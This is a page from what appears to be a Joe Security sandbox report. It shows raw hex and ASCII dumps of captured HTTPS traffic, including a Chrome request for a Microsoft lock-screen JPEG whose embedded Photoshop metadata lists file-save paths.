ad 7f fe 26 6a 0e c7 fa 53 d1 e0 eb 32 4b d4 64 40 8d 01 99 63 8a 30 57 72 b7 de fb 1b 77 8a bd bf 45 8e 1f f0 aa 3a 71 
a9 d4 1f d4 fd 1b 2f a9 f5 5c cc 5c 72 d1 a0 55 
Data Ascii: cqY+V[C&YTl*"|?iK({4Vaqv XGS7agd_dl,"=F,\yD3LdO*mK$WxjN<|m1#v9'd)?">W%<r-&{7m&jS2Kd@c0Wr
wE:q/\\rU

2022-08-11 03:42:55 UTC 6184 IN Data Raw: 65 fd 55 e6 df 15 f0 df 6a 5f f4 f1 1a 52 d0 e0 e7 4c 90 65 4c d1 83 e6 c9 b1 e4 62 57 52 0e 8b c2 bd 08 75 53 
d3 aa af 11 5a da e8 3f a6 7a 64 45 96 57 92 77 93 73 22 20 1a 69 c5 98 71 e1 e1 5a af 53 77 c2 aa be de 13 aa ea 51 57 
a9 fa 24 73 43 6c 59 a5 02 42 16 43 b7 59 2c 77 77 7b d6 5a 3d 36 67 5b 73 2a f2 f4 ff 00 f4 ce 14 a0 f3 6f 57 f4 1f 36 35 
ca c6 88 41 88 8d e4 a1 b1 dd 21 5d 5e 56 ff 00 6e 5e ed 7d 1f a3 f5 10 f6 d9 ef bb e7 b7 87 1f 86 86 95 be d3 9a 3d 13 
25 22 33 e9 e5 8b 71 20 13 7f 84 78 bf 0d 7a 5e 7d 5b 8e d2 fc e4 ce b7 fa 7d e9 cc 9e a9 34 91 32 b8 80 a1 52 e0 03 66 
3d c5 0c 43 7e ed 79 5f f2 1e a1 63 49 ae b9 e9 23 8b 3d 87 a6 e2 2f a7 72 1a 6e 9b 30 80 0c 74 8d cc 56 56 72 a7 9f cc 
46 bd be 1d eb 5e 0d fd 6d de 95 35 4a 0b 70 1f 13 
Data Ascii: eUj_RLeLbWRuSZ?zdEWws" iqZSwQW$sClYBCY,ww{Z=6g[s*oW65A!]^Vn^}=%"3q xz^}[}42Rf=C~y_cI#=/r
n0tVVrF^m5Jp

2022-08-11 03:42:55 UTC 6200 IN Data Raw: 1c 69 21 71 28 dd 60 07 e5 d9 85 94 b6 e7 ee 78 bb d5 18 b1 d6 8e 62 59 51 01 3d 43 1f f9 1c 1e 6b cb 1e 47 
24 6a 2d 6d e7 c5 b7 ee fc 0a bb aa ef 8b 7b 51 fd 3e de 2b 12 d9 9f d3 f3 67 ce c9 06 59 56 24 68 d9 4a a1 da cb 7f 9f fd 
35 dd de 66 6a 2f c8 b4 9d db bb dd 24 c9 6c 5d 3d 52 08 84 ae af 2b 12 8d b9 ae e1 7f 85 b9 0f 77 ba be 1a ce d7 72 e3 
85 7c 3d 3e 21 b5 25 d3 74 3c ce 87 f9 f1 89 57 15 54 ca 48 1a b9 3f c3 8b 6a f8 4e 9d ef 0f 76 ad d5 e4 49 d9 75 72 d7 
c3 5f 8c 86 a0 e4 ba bf f5 03 2d e2 58 71 e1 70 25 db b0 ea 08 b3 73 b6 ba ee 6f 81 7b ab 5e 86 1f 43 55 c5 ae 5e af f4 
29 43 3a ce ad 2f 4f 1d 39 a1 cc 07 7c ca 00 dc da ee 22 fe ce 57 55 ef ed ae 0f 4c dc b8 ea af b7 b6 e0 50 b8 14 64 7d 
3e 7f 4e 8f 19 89 46 01 58 29 00 0f 95 41 e5 4f da ac 
Data Ascii: i!q(`xbYQ=CkG$j-m{Q>+gYV$hJ5fj/$l]=R+wr|=>!%t<WTH?jNvIur_-Xqp%so{^CU^)C:/O9|"WULPd}>NFX)AO

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 123 of 310



2022-08-11 03:42:55 UTC 6208 IN Data Raw: 79 53 77 78 2a b5 7a 74 56 b5 54 7b 57 77 50 24 59 8d d5 b1 fa 7a 4f 91 d4 a0 19 66 28 56 48 a3 3a ae e2 de 
2f c6 7b b5 36 c5 6b b4 a8 fc bd d6 75 bd bb dc 08 07 ea 7d 52 2c bf 27 37 16 26 c4 40 a0 58 00 08 bf 79 96 3e 5b 6e 66 
d9 5a d3 1e d9 ab 7e 67 ea fa 86 13 3f 50 97 a6 a4 0f 1f 2b ee b4 9f 99 a9 63 dd b2 a6 ee 58 d7 9b 7b 77 ab 2a d1 5d bf 
c3 a7 77 fa 81 05 c7 9a d3 bc d8 f9 f2 f9 02 54 65 13 48 c6 ec aa 7e c2 df 87 fe 9a 9d bc 1d 79 be 02 d2 32 fa bf 47 64 87 
23 1b a6 e3 97 24 8d 64 ff 00 4c 10 2e 55 9a c7 6e bb b9 fb 95 e8 63 b6 a9 d8 86 bd c6 c7 48 c6 68 a2 48 26 95 4c ea 02 
4a 14 e8 a0 ad 90 dc 7b 2b c9 cd 79 6d a5 cb dc f8 b5 e6 23 ec 23 e9 a8 0e 49 91 99 d6 34 bb 00 c7 8a 8f 16 c8 fb d2 48 
ea bb 7e f5 6b 95 29 48 a5 a1 4c fe 94 79 64 6c d3 12 
Data Ascii: ySwx*ztVT{WwP$YzOf(VH:/{6ku}R,'7&@Xy>[nfZ~g?P+cX{w*]wTeH~y2Gd#$dL.UncHhH&LJ{+ym##I4H~k)H
Lydl

2022-08-11 03:42:55 UTC 6224 IN Data Raw: cb 90 55 65 88 9d 51 78 0d 8f e2 da 3c 35 a6 3f 5a bd 32 f2 df d1 7f 1d be 20 36 ba 27 a6 fa 7f 4e c8 10 a4 29 
64 52 5b 2e 49 2e dc c3 6f 24 5d 84 57 16 7f 53 7c 95 96 f8 ff 00 ec d6 bf 9a e0 d8 42 c5 3e 14 66 22 17 33 1f 1e 31 63 
a9 ba 5f f3 24 65 6e f3 2b 78 6b 5c 77 59 1c f4 3d 79 7c 26 b3 28 19 3a ac 23 03 3b 29 1d a1 9c 6a 82 da 5c 9e eb 7c c1 
7b 9b 39 6a d6 1a bb 25 6f a4 96 62 e3 27 53 96 68 b3 1e 56 53 b0 39 96 fb 42 a7 88 6e 5f 6f 77 6f 79 ab a3 75 2a 9a aa 
ed e9 f8 cc d4 9a dd 1f d4 07 ac 75 c3 d4 3a b6 5b ec 88 0d 81 b5 2d 6e 50 bc ba 22 2d 65 ea eb 67 8e 12 dd 7b 77 86 9c 
bd 4e 8f d6 9d 65 27 e9 12 45 83 69 26 9e 45 48 c2 0d 78 ee 2c 76 fb 2d 5e 3f a3 c4 d6 54 ef cb 5a 2e 62 ef a9 91 d3 7d 
2d d4 04 cd 95 d5 dd a3 92 53 75 92 30 b2 68 79 4f 2d 
Data Ascii: UeQx<5?Z2 6'N)dR[.I.o$]WS|B>f"31c_$en+xk\wY=y|&(:#;)j\|{9j%ob'ShVS9Bn_owoyu*u:[-nP"-eg{wNe'Ei&EHx,
v-^?TZ.b}-Su0hyO-

2022-08-11 03:42:55 UTC 6240 IN Data Raw: 74 a7 4a 58 5b b5 34 de 7e a3 91 0b 1c 20 aa eb 28 65 69 00 b0 06 db f4 ed 6d 9e 1a c2 9b 31 d9 37 ee ee 94 
e5 18 fd 7b d1 dd 52 71 e7 cf 36 8f 26 e9 0b b0 24 a5 fb b1 6d fe 1e c5 f0 2a d7 a9 8f d4 25 ad 97 77 94 ca cb 59 66 a7 
4b 6e 99 9d 81 37 4b c8 8d a1 12 05 8b cd 04 5d 34 f8 57 57 dd c1 97 96 bd 4c 58 71 ee de d7 cb f0 86 d4 f8 99 be 8e ea 
eb 87 e7 60 65 bf 9b f4 a4 a2 b5 cd 88 1a a7 cc 39 4d eb c4 ff 00 90 f4 f1 69 af 78 8d c9 39 61 bd 3b 3f 1b 31 fe af 20 a7 
96 65 06 25 90 6e b3 2f 73 f4 b3 73 33 2f 2f 76 b2 8b 63 6a aa 79 7a cd d1 40 6e 9b 87 0c b9 f2 5e 07 92 46 7b 39 dc 58 
1e 03 5d db 19 9b 97 bb b2 b6 c9 39 1c 57 e9 f8 44 d1 35 9f 33 3a 5c 66 88 ba 3a c7 f9 91 a9 61 bd 9f 5d a5 86 9c 89 f8 
7c 55 85 2a a9 b9 2e f5 b9 6d f0 d7 f7 12 91 9f 06 0b 
Data Ascii: tJX[4~ (eim17{Rq6&$m*%wYfKn7K]4WWLXq`e9Mix9a;?1 e%n/ss3//vcjyz@n^F{9X]9WD53:\f:a]|U*.m

2022-08-11 03:42:55 UTC 6661 IN Data Raw: 3b a8 04 9d a5 c2 9f cc 97 6d c3 8f 08 27 5b dc 71 f8 b9 6b 9a f8 dc 45 96 df 84 28 9d 50 1f 53 ea 58 d0 6f 97 
39 da 47 07 91 46 a5 89 1c df 2a 8b f7 ab 5c 58 ad 6d 2a b6 f8 86 ea ed 07 55 d3 b1 72 3d 3d 86 92 61 ca af 9b 99 1f 9a 
ca a4 95 89 34 db 08 8b c5 27 37 3b c9 f8 69 66 69 47 87 a7 77 7a c5 bf f6 d6 87 34 9d 6f 3d 16 7c 57 3b 20 fe 24 81 06 
dd 7d e1 6a b6 56 14 76 fd 42 a5 f7 05 47 e9 e7 f5 2e 5c 51 e4 c9 06 25 d5 de fb 8d 9f 68 b9 f7 ef f0 7c d4 60 b6 c9 55 9b 
7c dd c3 2c 30 e6 03 7a c7 57 e9 78 99 42 0e 8d 2e d8 e1 84 04 b2 9d 24 bf e6 b3 1f 1f de a8 be 17 64 a7 9a 7a cb c9 6d 
bc 0a 70 ba 84 3d 41 86 47 57 56 88 6f f3 19 91 8f e6 37 c4 50 5f 68 ae 7c 98 de 3d 31 f3 69 b7 9b b8 5f 99 3c 0e 96 5f 
52 41 d2 33 7c ae 8f 1c 69 0f 97 e7 4d 93 60 cf 6e 
Data Ascii: ;m'[qkE(PSXo9GF*\Xm*Ur==a4'7;ifiGwz4o=|W; $}jVvBG.\Q%h|`U|,0zWxB.$dzmp=AGWVo7P_h|=1i_<_R
A3|iM`n

2022-08-11 03:42:55 UTC 6685 IN Data Raw: 70 00 ea d1 f4 d9 a4 64 9c 49 3c a5 76 2a ad 94 5b e1 e1 dd af 56 bc 9d bd 22 93 9f f5 1e 1e 4a 2a 34 0b b0 
42 97 1b 58 ee de 40 0d bf 6e 96 dd bd f9 79 36 ed ad 71 65 a5 9c 2e f7 88 d5 a1 4d 3f d5 ca a7 a9 6f 55 76 db 0a df 69 
21 7c 73 69 fc 36 6e 55 ac ab 5d 8b 93 eb fd b4 f8 8c 7c b9 37 bf 9a 43 d1 f1 92 0c c5 86 59 24 2b aa 25 8d bf bc cd 1f cb 
cd 5c 4b 13 cd 69 ae ea d5 78 9f b7 50 d6 9a 22 dc ac 0c 6c f1 12 63 bd a4 b3 cb bd ee 4a 15 b3 47 b6 fc fb 5d 79 bc ba 
d6 5d 75 53 7e e5 a9 f0 94 d1 e5 ff 00 d5 0e a5 d4 5b 21 61 cc fc b7 58 c2 92 ba 6e 1e 13 f6 1a fa 1f f8 ec 15 a2 d3 df de 
ee 98 37 a9 ca 49 d6 0e 42 c1 01 54 dd 8e 9b 43 01 ab 0b ee 0a ff 00 16 da f4 96 1d b2 f5 e7 7e db 48 69 ad 4e 9f a3 fa 
ce 55 ca f3 33 9b 7c 2e 86 32 a3 40 aa 7b db 54 7d 
Data Ascii: pdI<v*[V"J*4BX@ny6qe.M?oUvi!|si6nU]|7CY$+%\KixP"lcJG]y]uS~[!aXn7IBTC~HiNU3|.2@{T}

2022-08-11 03:42:55 UTC 6788 IN Data Raw: be 67 5e 9b 03 52 13 87 d2 3a 71 1f 4f 84 c4 79 51 88 9d 2f d8 39 b7 1f 17 1a e5 c9 97 22 73 6e db 6f ad 8e 
7b 54 e5 60 ea f9 dd 1b 3f 2a 2e 6b ec 20 6b c0 9e 44 db f7 fe 5a f6 2a 95 a9 5b 55 ed f6 e6 22 b6 db a1 ba de 9e de 91 
3f 54 b5 e2 1b b6 c6 00 21 d8 72 6f f8 db bc c5 fc 1f 0d 79 eb d4 ea d5 3b de 2e f1 be ed 35 29 c8 6c ee 81 20 fa 28 08 c4 
80 ea 5c 1b 9d dc cc ed d9 b7 9a 9d 76 67 5c cf fd cb f8 4c dd b5 0e ba 75 a5 7c e1 10 f3 6d b0 28 70 ad 6f b5 7b bc 7b 
be 2a c5 7f b2 d5 67 97 f8 14 71 f9 ab 11 90 74 ac 68 c2 3a 32 24 96 53 72 4f 8f e7 15 eb e3 98 de de ed d3 b3 f6 91 c5 
9d e7 4b e9 f0 e3 6d 89 89 13 bf 78 11 fa 2d a5 78 59 af 67 f2 d4 71 d8 57 d5 3d 37 27 5c 9f e9 31 5d 94 22 97 22 3d 49 
2a 47 1f d1 5d 7e 86 5b e1 ba cf c5 e1 05 59 39 8e a3 
Data Ascii: g^R:qOyQ/9"sno{T`?*.k kDZ*[U"?T!roy;.5)l (\vg\Lu|m(po{{*gqth:2$SrOKmx-xYgqW=7'\1]""=I*G]~[Y9

2022-08-11 03:42:55 UTC 6896 IN Data Raw: 81 0e d8 42 bc 23 21 db 6a 29 3a 33 27 fd de 53 e1 56 d9 5d b5 a3 dc c1 55 b2 df 56 ff 00 4b 32 3d 2c f1 f5 1c 
b7 53 8f 1a ed 93 68 62 a7 71 e5 44 df e2 ef 33 2a d1 9e 8d 56 11 9d ea d2 83 2f a7 f5 ec ac 68 1f 23 a7 ed 5e 9e 96 60 
93 b8 2c 45 f9 b6 25 ee ab f0 d7 8d 93 d3 d6 ce 2f ff 00 95 f6 e3 5f 98 c9 1d 46 0f aa e5 e9 31 c9 d4 15 bc d8 27 62 f1 90 
b7 06 fa 38 da de 14 ae 3a 62 7b d2 5c b9 31 f2 db 77 b7 78 e8 a3 83 53 a3 47 1e 6e 3f 99 03 46 b8 8e cd 29 3b 36 0b 
9e 21 63 bb 4a ef f2 55 bc 56 cb 77 56 e3 69 ab d4 86 33 43 90 c5 58 90 52 fa 37 29 b0 f9 4f 0a e0 cb 4b 63 70 60 eb 3a 
99 59 d9 d1 4b 9d 14 58 eb e5 cb b4 bc 4c c3 bc 07 89 77 7b d7 f1 57 46 3a 3a d1 b7 ef e6 8e e8 44 22 18 3e a2 7c e9 e4 
6e b0 b2 07 23 6b 16 b8 b0 ef 37 28 03 bc dc cf 1a fc 
Data Ascii: B#!j):3'SV]UVK2=,ShbqD3*V/h#^`,E%/_F1'b8:b{\1wxSGn?F);6!cJUVwVi3CXR7)OKcp`:YKXLw{WF::D">|n#k7(

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

156 192.168.11.20 49796 2.16.241.7 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 2118 OUT GET /cms/api/am/imageFileData/RE4Ysjy?ver=4a06 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.
102 Safari/537.36 Edge/18.19042
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
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2022-08-11 03:42:55 UTC 2150 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Ysjy?ver=4a06
Last-Modified: Tue, 02 Aug 2022 11:42:37 GMT
X-Source-Length: 1829994
X-Datacenter: northeu
X-ActivityId: 0c286e31-3f25-450b-8269-ec440ef9f44a
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1829994
Cache-Control: public, max-age=72264
Expires: Thu, 11 Aug 2022 23:47:19 GMT
Date: Thu, 11 Aug 2022 03:42:55 GMT
Connection: close

2022-08-11 03:42:55 UTC 2151 IN Data Raw: ff d8 ff e1 13 12 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 34 3a 33 34 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:54:348"

2022-08-11 03:42:55 UTC 2198 IN Data Raw: 3a 61 35 39 62 32 66 34 38 2d 39 63 62 38 2d 66 31 34 66 2d 39 61 36 37 2d 66 37 36 31 32 64 31 61 64 61 
62 32 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 31 35 2d 30 34 2d 32 39 54 31 32 3a 31 38 3a 33 35 2d 30 37 3a 
30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 
20 43 43 20 32 30 31 34 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 2
0 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 
61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 64 64 38 33 61 66 34 35 2d 39 66 63 39 2d 64 66 34 66 2d 39 64 64 65 
2d 62 61 66 39 30 32 38 32 62 32 31 65 22 20 73 74 45 76 74 3a 77 68 
Data Ascii: :a59b2f48-9cb8-f14f-9a67-f7612d1adab2" stEvt:when="2015-04-29T12:18:35-07:00" stEvt:softwareAgent=
"Adobe Photoshop CC 2014 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid
:dd83af45-9fc9-df4f-9dde-baf90282b21e" stEvt:wh

2022-08-11 03:42:55 UTC 2404 IN Data Raw: 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 44 3a 5c 57 6f 72 6b 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 
6e 73 5c 5f 4c 41 54 45 53 54 74 72 61 6e 73 66 65 72 2d 4e 65 77 43 6f 6d 70 75 74 65 72 5c 54 65 6d 70 6c 61 74 65 
73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 31 2e 70 73 64 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 3
1 36 2d 30 37 2d 32 37 54 31 32 3a 30 32 3a 32 33 2d 30 37 3a 30 
Data Ascii: :00&#x9;File D:\Work\Win10-Lockscreens\_LATESTtransfer-NewComputer\Templates\Lockscreen_
1920x1080_Landscape1.psd saved&#xA;2016-07-26T18:23-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lo
ckscreen_1920x1080_Landscape.psd saved&#xA;2016-07-27T12:02:23-07:0

2022-08-11 03:42:55 UTC 2456 IN Data Raw: 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 39 32 30 78 
31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 32 35 3a 32 38 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 
61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 
35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 
31 30 32 37 32 35 37 5f 31 39 32 30 78 31 30 38 30 46 39 31 42 31 36 31 39 42 41 33 46 39 44 43 37 45 32 32 46 45 38 
37 35 31 32 32 39 36 34 36 30 2e 70 73 62 20 73 61 76 65 64 26 23 
Data Ascii: ndowsPro_GettyImages-641027257_1920x1080.jpg saved&#xA;2016-08-04T17:25:28-07:00&#x9;File 
C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_WindowsPro_GettyImages-
641027257_1920x1080F91B1619BA3F9DC7E22FE87512296460.psb saved&#

2022-08-11 03:42:55 UTC 2495 IN Data Raw: 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 46 61 
6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 38 38 36 33 30 32 31 5f 31 
39 32 30 78 31 30 38 30 31 39 38 36 36 37 31 38 41 31 33 33 41 37 43 36 32 33 37 33 39 35 38 31 45 42 31 33 39 30 42 
39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 36 54 31 30 3a 31 33 3a 35 39 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 7
3 31 30 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 
47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 30 37 31 37 36 31 30 5f 
Data Ascii: e Photoshop CC 2015.5\AutoRecover\_FallEntertainment_GettyImages-478863021_1920x10801986
6718A133A7C623739581EB1390B9.psb saved&#xA;2016-09-26T10:13:59-07:00&#x9;File C:\Users\v-lizagh\MS\W
indows10\FallEntertainment\FallEntertainment_GettyImages-540717610_

2022-08-11 03:42:55 UTC 2519 IN Data Raw: 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 32 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 6
4 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 
32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 34 2d 30 38 3a 30 
Data Ascii: 47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:52:11-08:00&#x9;File C:\Users\v-
lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape0
01F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:54-08:0

2022-08-11 03:42:55 UTC 2527 IN Data Raw: 32 38 30 36 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 35 
34 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 
2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 55 73 65 72 73 5f 70 31 30 32 33 6d 38 33 37 31 
34 39 66 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 
31 35 3a 35 36 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 
Data Ascii: 2806D.psb saved&#xA;2016-11-23T15:54:15-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-
Batch2\_CHOSEN-Sway\Crops\Office_Sway-Users_p1023m837149f_1920x1080.jpg saved&#xA;2016-11-23T15:56:08-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 2774 IN Data Raw: 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 
30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 
42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 30 39 3a 34 36 3a 31 30 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
64 6f 77 73 31 30 5c 4d 38 33 5c 43 48 4f 53 45 4e 5c 4d 38 33 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 36 31 31 34 
36 37 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 
30 39 3a 34 37 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 
Data Ascii: 5.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb save
d&#xA;2017-01-31T09:46:10-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\M83\CHOSEN\M83_GettyImages-5
16114675_1920x1080.jpg saved&#xA;2017-01-31T09:47:08-08:00&#x9;File

2022-08-11 03:42:55 UTC 2813 IN Data Raw: 31 39 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 
2d 32 32 54 31 30 3a 35 30 3a 33 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 
73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 70 72 69 6e 67 45 6e 
74 65 72 74 61 69 6e 6d 65 6e 74 5f 4d 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 35 30 37 32 31 39 32 5
f 31 39 32 30 78 31 30 38 30 36 39 32 37 33 34 39 38 42 30 41 31 37 46 44 38 34 45 46 42 35 45 32 44 39 42 33 44 38 
36 35 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
Data Ascii: 192_1920x1080.jpg saved&#xA;2017-02-22T10:50:39-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\A
dobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-SpringEntertainment_March_GettyImages-515072192_1920
x108069273498B0A17FD84EFB5E2D9B3D865C.psb saved&#xA;2017-

2022-08-11 03:42:55 UTC 2885 IN Data Raw: 30 5c 57 69 6e 64 6f 77 73 5c 53 65 72 76 69 63 69 6e 67 5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 31 5c 57 69 
6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 38 33 34 32 36 33 34 5f 31 39 
32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 30 38 3a 
